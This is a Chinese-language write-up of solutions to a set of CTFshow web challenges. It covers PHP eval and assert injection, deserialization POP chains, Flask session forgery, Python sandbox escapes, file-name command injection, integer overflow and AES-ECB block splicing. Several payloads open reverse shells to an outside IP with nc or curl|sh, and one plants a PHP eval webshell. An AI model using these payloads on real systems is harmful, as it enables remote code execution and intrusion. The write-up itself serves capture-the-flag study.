web签到 考点:RCE 这签到真恶心
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );highlight_file (__FILE__ );eval ($_REQUEST [$_GET [$_POST [$_COOKIE ['CTFshow-QQ群:' ]]]][6 ][0 ][7 ][5 ][8 ][0 ][9 ][4 ][4 ]);
就是有点绕:
1 2 ?a=b&b[6 ][0 ][7 ][5 ][8 ][0 ][9 ][4 ][4 ]=system ('tac /f*' ); A=a
web2 c0me_t0_s1gn 考点:前端JS 直接在控制台得
我的眼里只有$ 考点:RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );extract ($_POST );eval ($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_ );highlight_file (__FILE__ );
_=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&J=L&L=phpinfo();
这样就可以rce了
抽老婆 考点:任意文件下载,JWT 一个抽二次元老婆的题目 有两个选项,左边的没啥意思,右边有个下载,可能是洞挖多了,看到这个就条件反射了 经过测试是有一个任意文件下载的漏洞的,根据报错信息,我们可以知道当前的目录: 读取一下app.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 """ # File : app.py # Time :2022/11/07 09:16 # Author :g4_simon # version :python 3.9.7 # Description:抽老婆,哇偶~ """ from flask import *import osimport randomfrom flag import flagapp = Flask(__name__) app.config['SECRET_KEY' ] = 'tanji_is_A_boy_Yooooooooooooooooooooo!' @app.route('/' , methods=['GET' ] ) def index (): return render_template('index.html' ) @app.route('/getwifi' , methods=['GET' ] ) def getwifi (): session['isadmin' ]=False wifi=random.choice(os.listdir('static/img' )) session['current_wifi' ]=wifi return render_template('getwifi.html' ,wifi=wifi) @app.route('/download' , methods=['GET' ] ) def source (): filename=request.args.get('file' ) if 'flag' in filename: return jsonify({"msg" :"你想干什么?" }) else : return send_file('static/img/' +filename,as_attachment=True ) @app.route('/secret_path_U_never_know' ,methods=['GET' ] ) def getflag (): if session['isadmin' ]: return jsonify({"msg" :flag}) else : return jsonify({"msg" :"你怎么知道这个路径的?不过还好我有身份验证" }) if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=80 ,debug=True )
简单的审一下会发现是一个JWT: 然后key已经在源码中有了,我们去伪造一下我们的session: 这里用jwt.io是不行的,我们用flask-session-cookie-manager-masterpython flask_session_cookie_manager3.py decode -c "eyJjdXJyZW50X3dpZmkiOiIxZDRkYWQwZTFjYThkNTYyODU1MmE3MTY5OThmNmE0Mi5qcGciLCJpc2FkbWluIjpmYWxzZX0.Y3jryw.CIhqtqzRYMXWEjglBwzJvkip4LM" -s "tanji_is_A_boy_Yooooooooooooooooooooo!"
python flask_session_cookie_manager3.py encode -t "{'current_wifi': '1d4dad0e1ca8d5628552a716998f6a42.jpg', 'isadmin': True}" -s "tanji_is_A_boy_Yooooooooooooooooooooo!"
运行上面两条语句来伪造最后根据代码中写的secret_path_U_never_know路由去得到flag
一言既出
1 2 3 4 5 6 7 8 9 10 <?php highlight_file (__FILE__ ); include "flag.php" ; if (isset ($_GET ['num' ])){ if ($_GET ['num' ] == 114514 ){ assert ("intval($_GET [num])==1919810" ) or die ("一言既出,驷马难追!" ); echo $flag ; } }
挺有意思的,第一次做的时候是非预期,这一次就按预期走一次 这边存在一个断言,我们利用断言让assert返回true也就是让里面的语句执行为真
这个意思也就是说假如我们往assert里传入了一个boolean类型的指令话,如果判断为true那assert也返回true反之 这里有很多种payload,我一个个的列下来:114514);(1919810
114514)==1%20or%20system(%27ls%27);%23
这一条命令还可以远程RCE114514);%23
以上都可以,很骚反正
驷马难追 这里就要用到我说的非预期了
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ ); include "flag.php" ; if (isset ($_GET ['num' ])){ if ($_GET ['num' ] == 114514 && check ($_GET ['num' ])){ assert ("intval($_GET [num])==1919810" ) or die ("一言既出,驷马难追!" ); echo $flag ; } } function check ($str ) { return !preg_match ("/[a-z]|\;|\(|\)/" ,$str ); }
加法运算,想不到吧 不要看起来很小儿科,做题的时候真可能想不到的,汲取思路!
TAPTAPTAP 在js发现了可疑的东西: 进去看看:
Webshell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php error_reporting (0 ); class Webshell { public $cmd = 'echo "Hello World!"' ; public function __construct ( ) { $this ->init (); } public function init ( ) { if (!preg_match ('/flag/i' , $this ->cmd)) { $this ->exec ($this ->cmd); } } public function exec ($cmd ) { $result = shell_exec ($cmd ); echo $result ; } } if (isset ($_GET ['cmd' ])) { $serializecmd = $_GET ['cmd' ]; $unserializecmd = unserialize ($serializecmd ); $unserializecmd ->init (); } else { highlight_file (__FILE__ ); } ?>
简简单单拉~出题人为了方便还特地装了个nc,开心! 构造一下:
1 2 3 4 5 class Webshell { public $cmd = 'nc 43.140.251.169 7777 -e sh' ; } $a =new Webshell ();echo serialize ($a );
然后直接就反弹shell了
化零为整
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file (__FILE__ );include "flag.php" ;$result ='' ;for ($i =1 ;$i <=count ($_GET );$i ++){ if (strlen ($_GET [$i ])>1 ){ die ("你太长了!!" ); } else { $result =$result .$_GET [$i ]; } } if ($result ==="大牛" ){ echo $flag ; }
题目意思只能说概括的很全面,有一种精灵宝可梦的感觉,给大家一点时间反应一下,猜猜看,遮住下面
那现在就公布答案了: 一个英文是占一个字节的,一个中文占3个字节,这一点从URL编码也可以看到,但是我们可能想不到,中文单个字节是乱码,但是两个字节一粘起来就变成了中文: 最终传参为:?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
无一幸免 意义不明:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php include "flag.php" ;highlight_file (__FILE__ );if (isset ($_GET ['0' ])){ $arr [$_GET ['0' ]]=1 ; if ($arr []=1 ){ die ($flag ); } else { die ("nonono!" ); } }
无一幸免_FIXED 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php include "flag.php" ;highlight_file (__FILE__ );if (isset ($_GET ['0' ])){ $arr [$_GET ['0' ]]=1 ; if ($arr []=1 ){ die ("nonono!" ); } else { die ($flag ); } } ?>
这才对劲,考的是一个数组整形溢出绕过永真: payload:?0=9223372036854775807
: 可以看到报错也说了是溢出,但是可以绕过
传说之下(雾) 考点:前端js审计 嗯,不会! 现在再来做一次就感觉恍然大悟了 可以看到这里有个score变量,题目也说了score大于2077就会输出flag,所以这个东西留个心眼,然后发现了一段: js混淆,那就猜测flag肯定在这了,但考点不是反混淆,之后又发现: 整个游戏是靠着Game = new Underophidian('gameCanvas')
运行起来的 思路就是文件下载到本地来,修改score,直接就得到flag 然后就有flag了: 拖到本地复现还是有点问题的不知道为什么,和wp里还是有点不像
算力超群 考点:SSTI?也不算,JAIL题 上强度了上强度了,这题写出来还是有成就感的: 一个算术板子,抓包之后可以发现传递了3个参数: 我们直接在浏览器看看他的报错代码 发现了程序执行命令的语句result = eval(a + operator + b)
这个a,operator,b对应的就是我们传递的3个参数,这里肯定是存在一个沙盒逃逸的: 可以看到右边报错显示str不能加法,我们开放思维去想象一下,既然他识别了str,那我们能不能进一步尝试一下: 观察到是识别了我们的import的,这边就开始进行一个无回显的反弹shell__import__('os').system('nc%2043.140.251.169%206666%20%20-e%20sh%20')
:
算力升级 给了源码,成白盒测试了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 """ # File : app.py # Time :2022/10/20 15:16 # Author :g4_simon # version :python 3.9.7 # Description:算力升级--这其实是一个pyjail题目 """ from flask import *import osimport re,gmpy2 import jsonapp = Flask(__name__) pattern=re. (r'\w+' ) @app.route('/' , methods=['GET' ] ) def index (): return render_template('index.html' ) @app.route('/tiesuanzi' , methods=['POST' ] ) def tiesuanzi (): code=request.form.get('code' ) for item in pattern.findall(code): if not re.match (r'\d+$' ,item): if item not in dir (gmpy2): return jsonify({"result" :1 ,"msg" :f"你想干什么?{item} 不是有效的函数" }) try : result=eval (code) return jsonify({"result" :0 ,"msg" :f"计算成功,答案是{result} " }) except : return jsonify({"result" :1 ,"msg" :f"没有执行成功,请检查你的输入。" }) @app.route('/source' , methods=['GET' ] ) def source (): return render_template('source.html' ) if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=80 ,debug=False )
大概的逻辑就是把我们传递参数,做一个判断,如果参数里的单词是在gmpy2库里的话,就会通过,反之拦截 re库是用来进行正则判断的,稍微了解一下就好 我们可以在本地看看gmpy2库有哪些函数: 就是一些很普通的算法函数,这里的思路和自增很相似,'abc'[0]
截取出的就是a,根据这个思路,相信大家都知道该怎么做了吧,就是截取可用字符的特定字母,这里就需要写一个脚本了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import gmpy2dirtystr="__import__('os').popen('cat /f*').read()" payload="gmpy2.__builtins__['sech'[1]+'invert'[2]+'acos'[0]+'bit_flip'[5]](" for i in dirtystr: if i not in "/'().01234567*89&<>: " : for j in dir (gmpy2): if i in j: payload+=f"'{j} '[{j.find(i)} ]+" break else : payload +=f"\"{i} \"+" payload=payload[:-1 ]+")" print (payload)
将生成的payload放入即可!自己写脚本感觉真爽gmpy2.__builtins__['sech'[1]+'invert'[2]+'acos'[0]+'bit_flip'[5]]('HAVE_THREADS'[4]+'HAVE_THREADS'[4]+'DivisionByZeroError'[1]+'__name__'[4]+'InvalidOperationError'[8]+'DivisionByZeroError'[6]+'DivisionByZeroError'[12]+'Default'[6]+'HAVE_THREADS'[4]+'HAVE_THREADS'[4]+"("+"'"+'DivisionByZeroError'[6]+'DivisionByZeroError'[4]+"'"+")"+"."+'InvalidOperationError'[8]+'DivisionByZeroError'[6]+'InvalidOperationError'[8]+'Default'[1]+'DivisionByZeroError'[7]+"("+"'"+'InexactResultError'[5]+'Default'[3]+'Default'[6]+" "+"/"+'Default'[2]+"*"+"'"+")"+"."+'DivisionByZeroError'[12]+'Default'[1]+'Default'[3]+'InvalidOperationError'[6]+"("+")")
欧克了
easyPytHon_P 要说的话这题才是纸老虎吧 好裸露的源码,重点放在subprocess.run
函数,我们google一下:
很好理解,第一个args和第二个*分别控制命令和OPTION 这边我就直接放payload了: 本来是应该用cmd=ls,param=-l
这样的,但是这就是个逃逸了,由于cmd限制3个字符,我们只好吧/tmp/
放到后面去了,这似乎是一个非预期
预期: cmd=awk¶m={system("curl [https://your-shell.com/43.140.251.169:6666|sh")}](https://your-shell.com/43.140.251.169:6666|sh")})
这边是利用awk做一个反弹shell,关于awk指令,之后会来一篇文章研究一下
遍地飘零 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php include "flag.php" ; highlight_file(__FILE__); $zeros="000000000000000000000000000000" ; foreach($_GET as $key => $value){ $$key=$$value; } if ($flag=="000000000000000000000000000000" ){ echo "好多零" ; }else { echo "没有零,仔细看看输入有什么问题吧" ; var_dump($_GET); }
变量覆盖?_GET=flag
:
茶歇区 考点:PHP整形溢出 这一题一度差点成为绝杀,只是整形溢出这个概念我们不经常接触,上面的无一幸免一个道理: 注意这里有个10,也就是我们买多少个,他要乘以10,所以留个心眼 这边直接就是整形溢出,怎么理解呢,你可以把整型数的范围想成一个圆环,我们只需要达到他的上线,在这个闭环里达到需要的范围即可:a=10000&b=0&c=0&d=0&e=922337203685477580&submit=%E5%8D%B7%E4%BA%86%E5%B0%B1%E8%B7%91%EF%BC%81
输入两次即可:
小舔田? 简单的反序列化POP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php include "flag.php" ;highlight_file (__FILE__ );class Moon { public $name ="月亮" ; public function __toString ( ) { return $this ->name; } public function __wakeup ( ) { echo "我是" .$this ->name."快来赏我" ; } } class Ion_Fan_Princess { public $nickname ="牛夫人" ; public function call ( ) { global $flag ; if ($this ->nickname=="小甜甜" ){ echo $flag ; }else { echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家" .$this ->nickname."。\n" ; echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n" ; } } public function __toString ( ) { $this ->call (); return "\t\t\t\t\t\t\t\t\t\t----" .$this ->nickname; } } if (isset ($_GET ['code' ])){ unserialize ($_GET ['code' ]); }else { $a =new Ion_Fan_Princess (); echo $a ; }
一开始以为是什么,以为是绕过wakeup,但是看了眼PHP版本,7.3不适用,再看一眼,好像wakeup不是我们要绕过的,是必经之路,这里就直接放pop了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php include "flag.php" ;highlight_file (__FILE__ );class Moon { public $name ="月亮" ; public function __construct ( ) { $this ->name=new Ion_Fan_Princess (); } } class Ion_Fan_Princess { public $nickname ="小甜甜" ; } $a =new Moon ;echo serialize ($a );?>
Easy
LSB探姬 我发现这次题目有一半都是探姬出的,而且出的题都很新奇 有源码,审一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 """ # File : app.py # Time :2022/10/20 15:16 # Author :g4_simon # version :python 3.9.7 # Description:TSTEG-WEB # flag is in /app/flag.py """ from flask import *import osapp = Flask(__name__) @app.route('/' , methods=['GET' ] ) def index (): return render_template('upload.html' ) @app.route('/upload' , methods=['GET' , 'POST' ] ) def upload_file (): if request.method == 'POST' : try : f = request.files['file' ] f.save('upload/' +f.filename) cmd="python3 tsteg.py upload/" +f.filename result=os.popen(cmd).read() data={"code" :0 ,"cmd" :cmd,"result" :result,"message" :"file uploaded!" } return jsonify(data) except : data={"code" :1 ,"message" :"file upload error!" } return jsonify(data) else : return render_template('upload.html' ) @app.route('/source' , methods=['GET' ] ) def show_source (): return render_template('source.html' ) if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=80 ,debug=False )
根据源码的意思是上传一个文件,之后用tsteg.py
对其继续处理,然后把结果返还给我们 注意这里cmd="python3 tsteg.py upload/"+f.filename
这里是不是把文件名也拼进去了,那也就是说文件名是个RCE注入点,上传个文件抓包测试一下: 都看得到flag.py了,读就好了: 很新奇,不戳
Is_Not_Obfuscate 都说是纸老虎,但我怎么觉得不会呢,说明我才是那只纸老虎 首先在主页的源码发现了下面话语: 然后再robots.txt中找到了如下内容: 我们将flag的值改为1之后会发现出来了一串加密后的源码: 根据上面页面源码中的提示传入action=test&input={code}
,code就是那一串加密后的源码,code记得url编码一下,因为里面有一些特殊字符,得到了以下结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php header ("Content-Type:text/html;charset=utf-8" );include 'lib.php' ;if (!is_dir ('./plugins/' )){ @mkdir ('./plugins/' , 0777 ); } if ($_GET ['action' ] === 'test' ) { echo 'Anything is good?Please test it.' ; @eval (decode ($_GET ['input' ])); } ini_set ('open_basedir' , './plugins/' );if (!empty ($_GET ['action' ])){ switch ($_GET ['action' ]){ case 'pull' : $output = @eval (decode (file_get_contents ('./plugins/' .$_GET ['input' ]))); echo "pull success" ; break ; case 'push' : $input = file_put_contents ('./plugins/' .md5 ($_GET ['output' ].'youyou' ), encode ($_GET ['output' ])); echo "push success" ; break ; default : die ('hacker!' ); } } ?>
简单的审一下发现就是一个写入,一个读取执行 其中md5的salt已经给出了,就是youyou
(小黑子?),接下来就很好写了:?action=push&output=?><?php eval($_GET[1]);?>
?action=pull&input=ce42bc7f77e2ae9747e1a46991f32786&1=system('nc 43.140.251.169 7777 -e sh');
这边不能用POST,不知道为啥,可能环境没开吧 反弹出来了我们的flag,别问我为什么用反弹shell,就是觉得好玩!
龙珠NFT 压轴题来咯,确实配得上压轴的称号,考点有一个密码的知识AES-ECB 的编码模式: 大概就是上述步骤,会讲明文进行分组加密,是一种对称加密
AES作为现在最常用的对称加密方法,主要优点有:运算速度快,加密程度高,内存消耗少。加密模式有:ECB,CBC,CFB,OFB。ECB相对于其他模式,简单,支持并行计算。作为分组加密的一种AES将数据以16字节为一组,对每一组进行同样的加密。可以循环对源数据每一组进行加密,因为ECB模式各分组加密独立,不依赖于上一分组,也可以预先分组好,并行进行加密,然后拼接。
因为要以16字节为一组加密,所以如果源数据大小不是16字节的倍数,最后一组数据需要填充,满足16字节。有三种填充方法:
padding zero: 如果数据大小不是16字节的倍数,最后一组数据需要用0凑齐16字节,然后再加密,当然解密之后需要将补充的0拿掉,但是可能会有误伤。如果源数据结尾也是0,就可能会造成数据损失。
padding pkcs7: 如果数据大小不是16字节的倍数,最后一组数据用缺失数据大小补充完整。比如最后一分组为13字节,差3字节,那么补充3,3,3。如果数据是16字节的倍数,那么后面还是要补充一个分组,数据为16。这样在解密之后需要根据最后一个数据的大小,决定要去除尾部多少个数据。 ———————————————— 原文链接:https://blog.csdn.net/linfengmove/article/details/108275747
先了解一下AES-ECB加密方式,再来写题,进入靶场看看 先要登入,然后可以查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 """ # File : app.py # Time :2022/10/20 15:16 # Author :g4_simon # version :python 3.9.7 # Description:DragonBall Radar (BlockChain) """ import hashlibfrom flask import *import osimport jsonimport hashlibfrom Crypto.Cipher import AESimport randomimport timeimport base64class AESCipher (): def __init__ (self,key ): self.key = self.add_16(hashlib.md5(key.encode()).hexdigest()[:16 ]) self.model = AES.MODE_ECB self.aes = AES.new(self.key,self.model) def add_16 (self,par ): if type (par) == str : par = par.encode() while len (par) % 16 != 0 : par += b'\x00' return par def aesencrypt (self,text ): text = self.add_16(text) self.encrypt_text = self.aes.encrypt(text) return self.encrypt_text def aesdecrypt (self,text ): self.decrypt_text = self.aes.decrypt(text) self.decrypt_text = self.decrypt_text.strip(b"\x00" ) return self.decrypt_text app = Flask(__name__) flag=os.getenv('FLAG' ) AES_ECB=AESCipher(flag) app.config['JSON_AS_ASCII' ] = False players={} @app.route('/' , methods=['GET' ] ) def index (): """ 提供登录功能 """ @app.route('/radar' ,methods=['GET' ,'POST' ] ) def radar (): """ 提供雷达界面 """ @app.route('/find_dragonball' ,methods=['GET' ,'POST' ] ) def find_dragonball (): """ 找龙珠,返回龙珠地址 """ xxxxxxxxxxx if search_count==10 : dragonball="1" elif search_count<=0 : data={"code" :1 ,"msg" :"搜寻次数已用完" } return jsonify(data) else : random_num=random.randint(1 ,1000 ) if random_num<=6 : dragonball=一个没拿过的球,比如'6' else : dragonball='0' players[player_id]['search_count' ]=search_count-1 data={'player_id' :player_id,'dragonball' :dragonball,'round_no' :str (11 -search_count),'time' :time.strftime('%Y-%m-%d %H:%M:%S' )} data['address' ]= base64.b64encode(AES_ECB.aesencrypt(json.dumps(data))).decode() return jsonify(data) @app.route('/get_dragonball' ,methods=['GET' ,'POST' ] ) def get_dragonball (): """ 根据龙珠地址解密后添加到用户信息 """ xxxxxxxxx try : player_id=request.cookies.get("player_id" ) address=request.args.get('address' ) data=AES_ECB.aesdecrypt(base64.b64decode(address)) data=json.loads(data.decode()) if data['dragonball' ] !="0" : players[data['player_id' ]]['dragonballs' ].append(data['dragonball' ]) return jsonify({'get_ball' :data['dragonball' ]}) else : return jsonify({'code' :1 ,'msg' :"这个地址没有发现龙珠" }) except : return jsonify({'code' :1 ,'msg' :"你干啥???????" }) @app.route('/flag' ,methods=['GET' ,'POST' ] ) def get_flag (): """ 查看龙珠库存 """ @app.route('/source' ,methods=['GET' ,'POST' ] ) def get_source (): """ 查看源代码 """ if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=80 ,debug=False )
在find_dragonball
路由里面对address进行了一次AES加密,是将data
和data[address]
进行了分组加密,然后会吐给我们一个address,之后在get_dragonball
路由获取龙珠。 我们现在要做的事情和伪造JWT很像,就是如何去伪造一个address,我们首先可以用g4大佬的脚本分析一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requestsimport jsonimport base64import randomurl='http://57529baf-8d1b-4e0d-9beb-0ca4cce49a36.challenge.ctf.show/' s=requests.session() username=str (random.randint(1 ,100000 )) print (username)r=s.get(url+'?username=' +username) responses=[] for i in range (10 ): r=s.get(url+'find_dragonball' ) responses.append(json.loads(r.text)) for item in responses: data=json.dumps({'player_id' :item['player_id' ],'dragonball' :item['dragonball' ],'round_no' :item['round_no' ],'time' :item['time' ]}) miwen=base64.b64decode(item['address' ]) for x in range (int (len (miwen)/16 )): print (f'{x*16 } \t{data[x*16 :x*16 +16 ]} \t{miwen[x*16 :x*16 +16 ]} ' ) print ('' )
用这个脚本可以直观的显示一下加密的意思:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 0 {"player_id": "1 b'Z\x1eMi\x17\xd0+\xc4<\xb1\xa1\x043\xfe\xe2_' 16 5b6f28363206ef31 b'|\tp\xcd\xe8k#\xa0!Z\x8f\xe8nw\xa3\xb4' 32 8d53ecd59b53dfb" b'y\x7f\xe0\x9c2\xc6Q\xffW\x80,\xec\x13\xf5(\xb3' 48 , "dragonball": b'\xdaz\xe3a\xf7M#\x94$\x1f\xf4\rL\xa0a?' 64 "0", "round_no": b'f\xbcw\xdfLtu\xba\x80d\x0e9C<\x04\x0b' 80 "3", "time": "2 b'~N\xab\xcdW\xecVq\xe0\xc8\xfc\x19K^P\xb0' 96 022-11-20 07:25: b'\x93\xf6bbc\xdf\x8c\xcd\xe0A\x02\xd5\x10/m\x14' 112 33"} b'\x84\xde\xb4:p\x8e[\x08Z\xf1\xa4\xed.5c9' 0 {"player_id": "1 b'Z\x1eMi\x17\xd0+\xc4<\xb1\xa1\x043\xfe\xe2_' 16 5b6f28363206ef31 b'|\tp\xcd\xe8k#\xa0!Z\x8f\xe8nw\xa3\xb4' 32 8d53ecd59b53dfb" b'y\x7f\xe0\x9c2\xc6Q\xffW\x80,\xec\x13\xf5(\xb3' 48 , "dragonball": b'\xdaz\xe3a\xf7M#\x94$\x1f\xf4\rL\xa0a?' 64 "0", "round_no": b'f\xbcw\xdfLtu\xba\x80d\x0e9C<\x04\x0b' 80 "4", "time": "2 b"\xe6\xb8\xa1\xcdB\xb8`\x9e{O\xbe'\xe9Z\xb5[" 96 022-11-20 07:25: b'\x93\xf6bbc\xdf\x8c\xcd\xe0A\x02\xd5\x10/m\x14' 112 33"} b'\x84\xde\xb4:p\x8e[\x08Z\xf1\xa4\xed.5c9' 0 {"player_id": "1 b'Z\x1eMi\x17\xd0+\xc4<\xb1\xa1\x043\xfe\xe2_' 16 5b6f28363206ef31 b'|\tp\xcd\xe8k#\xa0!Z\x8f\xe8nw\xa3\xb4' 32 8d53ecd59b53dfb" b'y\x7f\xe0\x9c2\xc6Q\xffW\x80,\xec\x13\xf5(\xb3' 48 , "dragonball": b'\xdaz\xe3a\xf7M#\x94$\x1f\xf4\rL\xa0a?' 64 "0", "round_no": b'f\xbcw\xdfLtu\xba\x80d\x0e9C<\x04\x0b' 80 "5", "time": "2 b'\x87\xa0@\xfaLOSNX\x9e\x87\xce\xdf\xf6\xa0\xa3' 96 022-11-20 07:25: b'\x93\xf6bbc\xdf\x8c\xcd\xe0A\x02\xd5\x10/m\x14' 112 33"} b'\x84\xde\xb4:p\x8e[\x08Z\xf1\xa4\xed.5c9'
截取了跑出来的2组数据,AES-CEB加密方式,一组16个字符串,左边是明文,右边是密文 可以看到密文相同时,密文也是相同的,唯一不同的就是这一组:64 "0", "round_no":
由于这是计算你抽了多少次奖的记录,所以会有所不同,我们要做的也就是把这行去掉,构造一个伪造的address,让抽奖次数等于我们的龙珠编号,和反序列化字符逃逸有点相似吼
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requestsimport jsonimport base64import randomurl = 'http://57529baf-8d1b-4e0d-9beb-0ca4cce49a36.challenge.ctf.show/' s = requests.session() username = str (random.randint(1 , 100000 )) print (username)r = s.get(url + '?username=' + username) responses = [] for i in range (10 ): r = s.get(url + 'find_dragonball' ) responses.append(json.loads(r.text)) for item in responses: data = json.dumps({'player_id' : item['player_id' ], 'dragonball' : item['dragonball' ], 'round_no' : item['round_no' ], 'time' : item['time' ]}) miwen = base64.b64decode(item['address' ]) round_no = item['round_no' ] fake = miwen[:64 ] + miwen[80 :] fake=base64.b64encode(fake).decode() r=s.get(url+'get_dragonball' ,params={"address" :fake}) r=s.get(url+'flag' ) print (r.text)
最后你可以看到flag,脑洞大开